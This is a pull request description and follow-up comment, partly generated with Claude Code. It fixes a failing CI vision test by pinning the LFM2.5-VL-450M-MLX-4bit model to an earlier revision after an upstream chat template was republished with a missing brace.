fix: pin the vision test's LFM2.5 model to an immutable revision

[solderzzc]

Main is red, and this fixes it. The release for #140 was correctly skipped by the CI gate, so nothing has shipped from a broken build.

What happened

integration_matrix (vision) failed on main at 19:28 today. The merge that preceded it (#140) touched only a workflow file, and the failure reproduced on re-run — not a flake.

LiquidAI republished LFM2.5-VL-450M-MLX-4bit at 19:23, five minutes earlier. The new revision's chat template is one brace short of valid:

old:  {{- bos_token -}}
new:  {- bos_token -}}

Every request against it returns HTTP 500:

parser('Unexpected token type: closeExpression')

How I confirmed it's upstream, not us

1. Ran the exact CI request locally against my cached copy (revision 10ce3604) → HTTP 200, correct output.
2. Downloaded the new revision f19926f and ran the same request → HTTP 500, the parser error above.
3. Copied that new revision, restored the single missing {, changed nothing else → HTTP 200, identical token counts (prompt_tokens: 271).

Same weights, same request, one brace. The fault is upstream. No code change here is the right response to a malformed template — accepting it silently would mean rendering a literal {- bos_token -}} into the prompt.

Why CI was exposed at all

The vision job never prefetched this model. Only Qwen2-VL was in matrix.models; LFM2.5 was fetched by the server mid-test, resolving the floating id to whatever was newest. The job's result depended on what a third party published that afternoon.

The fix

• Pin LFM2.5-VL-450M-MLX-4bit to 10ce3604… and prefetch it.
• Teach ci-download-models.sh a repo@revision spec, so any model can be pinned the same way.
• The test resolves the pinned snapshot on disk, falling back to the floating id with a printed note — a local run without a prefetch still works, but cannot quietly test a different revision than CI did.

Editing test-vision.sh also rotates the job's model cache key, so CI re-downloads rather than restoring a cache that now holds the broken revision.

Verification

check	result
vision test locally, with pin	both cases pass
repo@revision split, pinned + unpinned	parses correctly
fallback when pinned snapshot absent	triggers, warns
ci.yml / shell syntax	valid

Follow-up worth doing separately

Report the template upstream to LiquidAI — it's broken for every consumer of that repo, not just us. I haven't opened anything on a third-party repo; that's the maintainer's call.

Also note the pin means we stop testing the current upstream revision. That's the intended trade: re-point it deliberately when someone means to test something newer, and treat the resulting failure as a real result.

🤖 Generated with Claude Code

[solderzzc]

Reported upstream: LiquidAI/LFM2.5-VL-450M-MLX-4bit#1.

Status as of now: still unfixed. The repo is on f19926f1 with lastModified 2026-08-12T19:23:10Z, and the live chat_template.jinja on main still reads {- bos_token -}} on line 3 — unchanged for over a day.

Two things worth recording here that came out of checking upstream after this PR merged:

The blast radius is exactly one repo. All 15 LiquidAI MLX repos were edited in a 13-minute window (19:14–19:27) to add the same {# <|tool_list_start|> detection hint for mlx_lm #} comment. Fourteen kept {{- bos_token -}} intact; only the 450M lost the brace. So this was a slipped keystroke, not a broken conversion pipeline — which is good news for how quickly it can be fixed, and confirms the other models we might pin later are sound.

It is worse for transformers/mlx-lm users than it is for us. Our strict Jinja parser rejects the template outright, which is why this PR exists. transformers does not error at all — it renders the malformed line as literal text:

'\n{- bos_token -}}<|im_start|>user\nhello<|im_end|>\n<|im_start|>assistant\n'

No BOS token, a literal {- bos_token -}} prefix on every prompt, and no warning. An HTTP 500 is the loud failure mode; silent prompt corruption is the one that costs people accuracy without telling them. That is what the upstream report leads with.

The pin here stays regardless. When the template is fixed, re-pointing LFM_REVISION in tests/test-vision.sh and the matching @ spec in ci.yml is a deliberate two-line change, and the failure that follows — if any — is then a real result rather than someone else's afternoon.